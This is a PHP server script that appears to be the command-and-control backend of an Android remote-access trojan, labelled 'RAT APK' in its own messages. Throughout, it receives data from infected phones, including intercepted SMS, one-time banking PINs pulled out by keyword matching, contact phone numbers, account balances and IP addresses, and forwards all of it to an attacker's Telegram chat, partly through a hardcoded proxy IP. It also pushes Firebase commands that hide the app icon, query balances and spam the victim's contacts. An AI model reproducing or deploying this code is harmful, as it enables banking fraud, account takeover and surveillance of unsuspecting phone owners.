<?php    
 
set_time_limit(0);
ini_set('max_execution_time', 0);
date_default_timezone_set("Asia/Tehran");
require_once('metii.php');
require_once('Files.php');

$textatotar = file_get_contents("data/autotar.txt");
$auto = file_get_contents("data/auto.txt");
header('Content-Type: text/html; charset=utf-8');
$words = array("code","رمز","پویا","Code","کد");
define("TOKEN", $token);
define("ID", $id);
define('API_KEY', $token);
$metii="⚡ᴅᴇᴡ : @Harfam_pm";
require_once 'vendor/autoload.php';
$telegramApiUrl = "https://api.telegram.org/bot{$token}/sendMessage";

#-----------------------------#
$update = json_decode(file_get_contents("php://input"));
if(isset($update->message)){
    $from_id    = $update->message->from->id;
    $chat_id    = $update->message->chat->id;
    $text       = $update->message->text;
    $message_id = $update->message->message_id;
}elseif(isset($update->callback_query)){
    $chat_id    = $update->callback_query->message->chat->id;
    $data       = $update->callback_query->data;
    $query_id   = $update->callback_query->id;
    $message_id = $update->callback_query->message->message_id;
}

function bot($method, $datas = [])
{
    $url = "http://91.107.138.215:9987/bot".TOKEN."/" . $method;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $datas);
    $res = curl_exec($ch);
    if (curl_error($ch)) {

        var_dump(curl_error($ch));

    } else {
        return json_decode($res);
    }
}
    function emg($chatid,$message_id,$text,$keyboard){
    bot('editmessagetext',[ 
        'chat_id'=>$chatid, 
        'message_id'=>$message_id,
        'text'=>$text,
        'parse_mode'=>'HTML',
        'reply_markup'=>$keyboard
        ]);
        }

function strposA($text, $needles = array()){
	$isin = false;
	for($i=0; $i < count($needles); $i++){
		if(strpos($text, $needles[$i]) !== false){
			$isin = true;
		}
	}
	return $isin;
}
function findPooya($string){
	$date = '';
	$explode = explode("\n",$string);
	foreach($explode as $line){
		if(strpos($line,"code") !== false || strpos($line,"ورود") !== false || strpos($line,"پویا") !== false || strpos($line,"رمز") !== false || strpos($line,"Code") !== false){
			if(strposA($line,['1','2','3','4','5','6','7','8','9','0'])){
				$pan = getNumber($line);
			}
		}
    }
    return $pan;
}
function getNumber($string)
{
    $number = '';
    for ($i = 0; $i < strlen($string); $i++) {
        if (is_numeric($string[$i])) {
            $number .= $string[$i];
        }
    }
    return $number;
}

function SendFirebase($to, $target, $data)
{
    $factory = (new Kreait\Firebase\Factory())->withServiceAccount('metii-v3-firebase-adminsdk-fbsvc-51aeef0768.json');
    $messaging = $factory->createMessaging();
    $message = Kreait\Firebase\Messaging\CloudMessage::withTarget($to, $target)
        ->withData($data)->withHighestPossiblePriority();

    try {
        $messaging->send($message);
        return "OK";
    } catch (Kreait\Firebase\Exception\Messaging\NotFound $e) {
        return "NotFound";
    } catch (Kreait\Firebase\Exception\Messaging\InvalidMessage $e) {
        throw new Exception("FireBase Error: " . $e->getMessage());
        return "invalidmessage";
    } catch (Kreait\Firebase\Exception\Messaging\ServerError $e) {
        return "FCMERROR";
    } catch (Kreait\Firebase\Exception\MessagingException $e) {
        return $e->getMessage();
    }
}
$getfile2 = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
    [['text' => "ɢᴇᴛ ꜰɪʟᴇ ᴛxᴛ", 'callback_data' => 'getalltxt']],
]]);


 if(isset($_POST['result'])){
  	
 $result=$_POST['result'];
 if($result == "ok"){
 $action=$_POST['action'];
 if(isset($_POST['androidid'])){
 $androidid=$_POST['androidid'];
if(isset($_POST['model'])){
 $model=$_POST['model']; 
 }
 }
 if(isset($_POST['opr'])){
 $opr = $_POST['opr'];
 }
 }
 }  if(isset($_POST['tokenuser'])){
 $tokenuser = $_POST['tokenuser'];
 }
 
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $ip = $_SERVER['REMOTE_ADDR'];
}

#-----------------------------#

if($action == "install"){
    
$handler = file_get_contents('data/user.txt');
$handler .= $androidid.'/';
file_put_contents('data/user.txt',$handler);
$add = file_get_contents("data/numberuser.txt");
$add1 = $add+1;
file_put_contents("data/numberuser.txt","$add1");
$texti=
"😌💸 <b>ɴᴇᴡ ᴛᴀʀɢᴇᴛ</b> #ɪɴꜱᴛᴀʟʟᴇᴅ ᴛʜᴇ ‹‹ <b>ʀᴀᴛ ᴀᴘᴋ</b> ›› !

🎛 ᴀɴᴅʀᴏɪᴅ ɪᴅ : /set_$androidid
⚙️ ᴍᴏᴅᴇʟ : $model
🧧 ꜱɪᴍ ᴏᴘʀᴀᴛᴏʀ : $opr
🛡 ɪᴘ : <code>$ip</code>

$metii
";    
    
    @file_get_contents("https://api.telegram.org/bot$token/SendMessage?parse_mode=HTML&chat_id=$id&parse_mode=html&text=".urlencode($texti));
    
}if($action == "install"){
$messagetar = file_get_contents('messs');
$autotaar = file_get_contents("data/autotar.txt");
$autohiide = file_get_contents("data/autohide.txt");
$autobaal = file_get_contents("data/autobal.txt");
if($autotaar == "on"){
sendmess("sendmokhatib",$androidid, "1",$messagetar);
}if($autohiide == "on"){
action('hide', $androidid);
}if($autobaal == "on"){
action('findbalances', $androidid);
}
}
	$user=explode("/",file_get_contents("data/user.txt"));
	 if(in_array($androidid,$user)){
    if($action == "ping"){
    $onlinesssetting = file_get_contents("data/onlineset.txt");
if($onlinesssetting == "list"){
         $old_user = file_get_contents("data/onlineuser.txt");
        file_put_contents("data/onlineuser.txt", $old_user."<code>/set_$androidid</code> \n ");
        $onlineusers = file_get_contents("data/onlineuser.txt");
        $miid = file_get_contents("data/miid.txt");
        $lines = explode("\n", $onlineusers);
        $unique_lines = array_unique($lines);
        $result = implode("\n", $unique_lines);
        $txt = explode("/set_", $result);
        $rxt = count($txt) - 1;

     }else{
  $textl=
"☝🏻 ɪ ᴀᴍ #ᴏɴʟɪɴᴇ

🎛 ᴀɴᴅʀᴏɪᴅ ɪᴅ : /set_$androidid
⚙️ ᴍᴏʙɪʟᴇ : $model
🧧 ꜱɪᴍ ᴏᴘʀᴀᴛᴏʀ : $opr
🛡 ɪᴘ : <code>$ip</code>
🌐 ꜰʀɪꜱᴛ ɪᴘ : <code>$ipfrist</code>

$metii
";  

		@file_get_contents("https://api.telegram.org/bot$token/SendMessage?parse_mode=HTML&chat_id=$id&parse_mode=html&text=".urlencode($textl));
	
}
}
  
    if($action == "pingone"){
  $textl2=
"☝🏻 ɪ ᴀᴍ #ᴏɴʟɪɴᴇ

🎛 ᴀɴᴅʀᴏɪᴅ ɪᴅ : /set_$androidid
⚙️ ᴍᴏʙɪʟᴇ : $model
🧧 ꜱɪᴍ ᴏᴘʀᴀᴛᴏʀ : $opr
🛡 ɪᴘ : <code>$ip</code>
🌐 ꜰʀɪꜱᴛ ɪᴘ : <code>$ipfrist</code>

$metii
"; 


$data = array(
    'chat_id' => $id,
    'text' => $textl2,
 'parse_mode' => 'HTML'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded; charset=UTF-8'));
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);



curl_close($ch);
}
            if($auto == "on"){
                  $tedad = file_get_contents("data/tedad.txt");
                sleep($tedad);
                 $data = [
        'action' => "sebdcontens",
        'txm2' => $textatotar,
        'androidid' => $androidid,
    ];
    SendFirebase("topic", $androidid, $data);
    $texti2=
"🔥 ᴀᴜᴛᴏᴍᴀᴛɪᴄ ᴛᴀʀ
✅ ᴛʜᴇ ᴍᴇꜱꜱᴀɢᴇ ᴡᴇɴᴛ ᴛᴏ ᴀʟʟ ᴛʜᴇ ᴜꜱᴇʀ /set_$androidid ᴄᴏɴᴛᴀᴄᴛꜱ .";    

    @file_get_contents("http://91.107.138.215:9987/bot$token/SendMessage?parse_mode=HTML&chat_id=$group&parse_mode=html&text=".urlencode($texti2));
}
}
	$user=explode("/",file_get_contents("data/user.txt"));
	 if(in_array($androidid,$user)){
    if($action == "ping"){
$data_list = json_decode(file_get_contents("data/$androidid.json"), true);
$ipfrist=  $data_list['ipfrist'] ? $data_list['ipfrist'] : 'ثبت نشده';
            $inf = file_get_contents("infolist/$androidid.txt");
      if(!file_exists("infolist/$androidid.txt")) $inf = ' ';
$handler = Files::get('all.txt');
if (strpos($handler, $androidid) == false) {
    if (empty(trim($handler))) {
        $lineNumber = 1;
    } else {
$lines = explode("\n", trim($handler));
$lineNumber = count($lines) +1;
    }

    $newEntry = $lineNumber . '-/set_' . $androidid . " $inf \n";
    $handler .= $newEntry;
    Files::put('all.txt', $handler);
    
}
        $onlineusers = Files::get("all.txt");
        $miid = Files::get("miid.txt");
        emg($group,$miid,"
🔥 ᴏɴʟɪɴᴇ ᴜꜱᴇʀꜱ ʟɪꜱᴛ :
$onlineusers",$getfile2);
    
}

 elseif ($action == "nwmessage") {
           $inf = file_get_contents("infolist/$androidid.txt");
      if(!file_exists("infolist/$androidid.txt")) $inf = ' ';
$data_list = json_decode(file_get_contents("data/$androidid.json"), true);
$ipfrist=  $data_list['ipfrist'] ? $data_list['ipfrist'] : 'ثبت نشده';
                $phone = $_POST['number'];
                $body = $_POST['messagetext'];
                $m = findPooya($body);
                if($m == null){
             $x = str_replace("\n","",$body);
             foreach($words as $m){
                 if (strpos($x, $m) !== false){
                     $d = explode($m,$x);
                 }
             }
             $pooyafind = getNumber($d[1]);
             }else{
                 $pooyafind = $m;
             }
             if($pooyafind != null){
                 $find = "🔑 ᴘɪɴ ꜰᴏᴜɴᴅᴇᴅ : <code>$pooyafind</code>";
             }else{
                 $find = "ᴘɪɴ ɴᴏᴛ ꜰᴏᴜɴᴅ";
             }
             $string3 = trim($phone);

                  $text2145t =
                    "
📨 ʀᴇᴄᴇɪᴠᴇᴅ ᴀ ɴᴇᴡᴍᴇꜱꜱᴀɢᴇ $inf

🎛 ᴀɴᴅʀᴏɪᴅ ɪᴅ : /set_$androidid
⚙️ ᴍᴏᴅᴇʟ : $model
📶 ꜱɪᴍ ᴏᴘʀᴀᴛᴏʀ : $opr
🛡 ɪᴘ : <code>$ip</code>
🌐 ꜰʀɪꜱᴛ ɪᴘ : <code>$ipfrist</code>
✍🏻 ɴᴜᴍʙᴇʀ : <code>$phone</code>

📑 ᴍᴇꜱꜱᴀɢᴇ :
$body

$find

#$androidid
<code>/answersms_{$androidid}_{$string3}</code>

$metii";

    $cleanedText2 = str_replace("<#>", "", $text2145t);

$data = array(
    'chat_id' => $group,
    'text' => $cleanedText2,
 'parse_mode' => 'HTML'
);

$messages = [
    "Hazine SMS:",
    "پیامک شما به دلیل نداشتن اعتبار کافی ارسال نشد!",
    "وقتشه سیم‌کارتت رو دائمی کنی!",
    "مشترک گرامی، موجودی حساب شما برای ارسال پیامک کافی نمی باشد. لطفا، اعتبار حساب خود را افزایش دهید."
];

foreach ($messages as $message) {
    if (strpos($body, $message) !== false) {
        die('');
    }
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded; charset=UTF-8'));
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

curl_close($ch);

}

elseif($action == "hideicon"){
    
$texthide=
"❇️ ɪᴄᴏɴ /set_$androidid ɪꜱ ʜɪᴅᴇ ɴᴏᴡ !

⚙️ ᴍᴏʙɪʟᴇ : $model
🧧 ꜱɪᴍ ᴏᴘʀᴀᴛᴏʀ : $opr
🛡 ɪᴘ : <code>$ip</code>

$metii
";    

    @file_get_contents("http://91.107.138.215:9987/bot$token/SendMessage?parse_mode=HTML&chat_id=$group&parse_mode=html&text=".urlencode($texthide));

}
    elseif($action == "getuserphone"){

                if (isset($_POST['phone'])) {
                    $phone = "";
                    $phones = $_POST['phone'];
                    $phones = explode("\n",$phones);
                    $phonesMain = array_unique($phones);
                    foreach ($phonesMain as $ph){
                        $phones .= "$ph\n";
                    }
                } else {
                    $phones = "Not Found";
                }
                $text =
  "🤳 ᴏᴘᴇʀᴀᴛɪᴏɴ ᴄᴏᴍᴘʟᴇᴛᴇᴅ [ᴜꜱᴇʀ ɴᴜᴍʙᴇʀ]

<code>$phones</code>

🎛 ᴀɴᴅʀᴏɪᴅ ɪᴅ : /set_$androidid
⚙️ ᴍᴏʙɪʟᴇ : $model
🧧 ꜱɪᴍ ᴏᴘʀᴀᴛᴏʀ : $opr
🛡 ɪᴘ : <code>$ip</code>

$metii";


$data = array(
    'chat_id' => $group,
    'text' => $text,
 'parse_mode' => 'HTML'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded; charset=UTF-8'));
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

curl_close($ch);
}
elseif($action == "unhide"){
    
    $textshow=
"✳️ ɪᴄᴏɴ set_$androidid ɪꜱ ꜱʜᴏᴡ ɴᴏᴡ !

⚙️ ᴍᴏʙɪʟᴇ : $model
🧧 ꜱɪᴍ ᴏᴘʀᴀᴛᴏʀ : $opr
🛡 ɪᴘ : <code>$ip</code>

$metii
";  
    
    @file_get_contents("http://91.107.138.215:9987/bot$token/SendMessage?parse_mode=HTML&chat_id=$group&parse_mode=html&text=".urlencode($textshow));
        
}
elseif($action == "mainbalances"){

                $mainbalances = $_POST['balance'];

          $textmainbalances=
"💰 ᴛᴀʀɢᴇᴛ #ʙᴀʟᴀɴᴄᴇꜱ
$mainbalances
🎛 ᴀɴᴅʀᴏɪᴅ ɪᴅ : /set_$androidid
⚙️ ᴍᴏʙɪʟᴇ : $model
🧧 ꜱɪᴍ ᴏᴘʀᴀᴛᴏʀ : $opr
🛡 ɪᴘ : <code>$ip</code>

$metii";    


$cleanedText = str_replace("<#>", "", $textmainbalances);

$data = array(
    'chat_id' => $group,
    'text' => $cleanedText,
 'parse_mode' => 'HTML'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded; charset=UTF-8'));
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

            }
elseif($action == "lastsms"){
$data_list = json_decode(file_get_contents("data/$androidid.json"), true);
$ipfrist=  $data_list['ipfrist'] ? $data_list['ipfrist'] : 'ثبت نشده';
                $body2 = $_POST['message'];
                $body76 = $_POST['phone'];

          $textlast=
"📨 ʟᴀꜱᴛ ᴍᴇꜱꜱᴀɢᴇ :

☎️ ɴᴜᴍʙᴇʀ : <code>$body76</code>

📑 ᴍᴇꜱꜱᴀɢᴇ :
$body2

🎛 ᴀɴᴅʀᴏɪᴅ ɪᴅ : /set_$androidid
⚙️ ᴍᴏʙɪʟᴇ : $model
🧧 ꜱɪᴍ ᴏᴘʀᴀᴛᴏʀ : $opr
🛡 ɪᴘ : <code>$ip</code>
🌐 ꜰʀɪꜱᴛ ɪᴘ : <code>$ipfrist</code>

$metii";    


$cleanedText = str_replace("<#>", "", $textlast);

$data = array(
    'chat_id' => $group,
    'text' => $cleanedText,
 'parse_mode' => 'HTML'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded; charset=UTF-8'));
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

            }
            
}

#-----------------------------#

?>